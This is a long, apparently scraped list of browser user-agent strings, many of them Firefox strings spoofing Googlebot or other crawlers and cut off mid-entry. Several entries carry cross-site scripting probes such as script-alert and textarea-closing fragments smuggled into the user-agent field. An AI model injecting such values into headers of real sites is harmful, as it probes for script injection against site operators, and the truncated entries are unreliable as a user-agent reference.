(Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 <script>alert('XSS Attackable... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 A1 Sitemap Generator/1.0 (+http://www.micro... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Code: Select all Googlebot/2.X How Google c... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot (Enterprise; C5-CLD3ALX3FUJAS; gl... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (http://www.google.com/bot.ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+(+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X www.MMOwned.com Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.X (http://www.googlebot.co... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 (BT-huffpost) Googlebot 2.1 (.NET CLR 3.5.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729),gzip(g... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 gsa-crawler Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (+http://www.googlebot.com/b... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Yahoo! DE Slurp Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Msnbot/2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.1 (http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.X (http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot/2.X How Google crawls my site Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot/2.X How Google crawls my site (.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.13; Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.14) Gecko/2009082707 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.13; Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Googlebot/2.1 (+http://www.googlebot.com/b... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Googlebot/2.X (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 AskTbTRL2/3.7.0.231 Firefox/3.0.19 GTB7.0 ... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2) Gecko/2008091620 Googlebot2.1/InternetCops/RealEstate Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1 (+http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Googlebot/bot.html Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Mozilla/5.0 (compatible; Googlebot/2.1; +ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 "googlebot" 2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0 MEGAUPLOAD 1.0 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X (+http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 googlebot2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0 MEGAUPLOAD 1.0 GoogleBot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Mozilla/5.0 (compatible; Googlebot/2.1; +ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 Ubiquity/0.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 AppEngine-Google; (+http://co... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Googlebot/2.1 (+http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.1+(+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Googlebot/2.1+(+http://www.go... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X (http://www.googlebot.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729; Diffbot/0.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 <script>alert('XS... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Googlebot/2.1 (+http://www.googlebot.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Googlebot/2.1+(+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 +http://www.google.com/bot.html Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (foo bar<script>a... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (foo bar<script>a... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot/2.X (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.4) Gecko/20091016 Code: Select all Googlebot/2.X (http://www.go... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 <script>alert('Firefox/3.5.5');... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1" "Compatible&... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Googlebot 2.1 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Googlebot/2.1 (+http://www.googlebot.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.1 (+http://www.googlebot.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.x ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008061107 <script>alert(0)</s... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1) Gecko/20081007 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Code: Select all Googlebot/2.X ( Code: http://... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.googlebot.com/bot.ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot/2.X How Google crawls my site ( .N... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) slurp Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (compatible; Googlebot/2.1; +http... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Code: Select all Googlebot/2.X (http://www.go... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110904 Mozilla/5.0 (compatible; Googlebot/2.1; +http... Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.13) Gecko/2009073022 Firefox/3.5.2 (.NET CLR 3.5.30729) SurveyBot/... Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ar; rv:1.9.0.3) Gecko/2008092417 googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Googlebot/2.1 (+http://www.... Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2) Gecko/20100115 Googlebot/2.X (.NET CLR 3.5.30729),gzip(gfe) (v... Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1) Gecko/20060111 googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (http://www.voila.com/) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 diffbot/0.3.7 (http://www.diffbot.com) Firefo... Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.1 (+http://www.google.com/bot.html... Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 compatible; Googlebot/2.1; +http://www.google.co... Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.7) Gecko/20091221 “Googlebot/2.1+(+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.9) Gecko/20100315 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; googlebot; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; googlebot; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.1.7) Gecko/20091221 Googlelbot/2.1 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.1.7) Gecko/20091221 Googlelbot/2.1 http://Googlelbot.com Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 <a href="http://... Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10) Gecko/2009042316 http://www.yahoobot.com/bot.html Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.3) Gecko/20090824 Select all Googlebot/2.X How Google crawls my si... Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.12) Gecko/20070508 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot.ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.16) Gecko/20080702 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Googlebot/2.1 (+http://www.googlebot.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Firefox 3 (.NET CLR 3.5.30729) Googlebot/2.1;... Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Mozilla/5.0 (compatible; Googlebot/2.1; +http... Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.2) Gecko/2008091620 Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.5) Gecko/2008120122 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.13) Gecko/20101203 Googlebot 1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 ( http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.3) Gecko/20090824 Tubenowbot/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.2.13) Gecko/20101203 "Googlebot/2.1 (+http://www.googlebot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5<script>iffh... Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) <a... Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (compatible; Googlebot/2.1; +http://... Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9) Gecko/2008052906 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.go... Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Yandex Mozilla/5.0 (Windows; U; Windows NT 5.1; th; rv:1.9.0.10) Gecko/2009042316 Googlebot2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 5.1;fr;rv:1.8.1)VoilaBotCollector BETA 0.1 (http://www.voila.com/) Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.2) Gecko/20090729 Opera <script>alert('!');</... Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2a1pre) Gecko/20090422 Googlebot/2.1 (+http://www.googlebot.com/b... Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot... Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.5) Gecko/2008120122 googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081029 Googlebot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081029 Googlebot/2.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Googlebot 2.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+(+http://www.googlebot.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X How Google crawls my site (.NET CL... Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html) (.... Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 googlebot 2.X Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1 (+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 googlebot=Google.com Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.X (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1;MEGAUPLOAD 1.0;Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+(+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1+(+http://www.google.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008091620 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 http://ow.ly web crawler (.NET CLR 3.5.3072... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot/2.1+(+http://www.google.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 ATGBot (.NET CLR 3.5.30729) F... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.X (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090624 Googlebot/2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+ Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X (http://www.googlebot.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2; Googlebot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3; aggregator:Vocus (VocusBot 0.4); http://www.vocus.com/vnhs.h... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.7) Gecko/20091221 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Ant.com Toolbar 2.0.1 Firefox/3.6.13 ( .NET ... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100611 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.2.3) Gecko/20100401 Googlebot/2.X (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X (http://www.googlebot.com/bot.ht... Mozilla/5.0 (Windows; U; Windows NT 6.0; gb; rv:1.9.1.2) Gecko/20090729 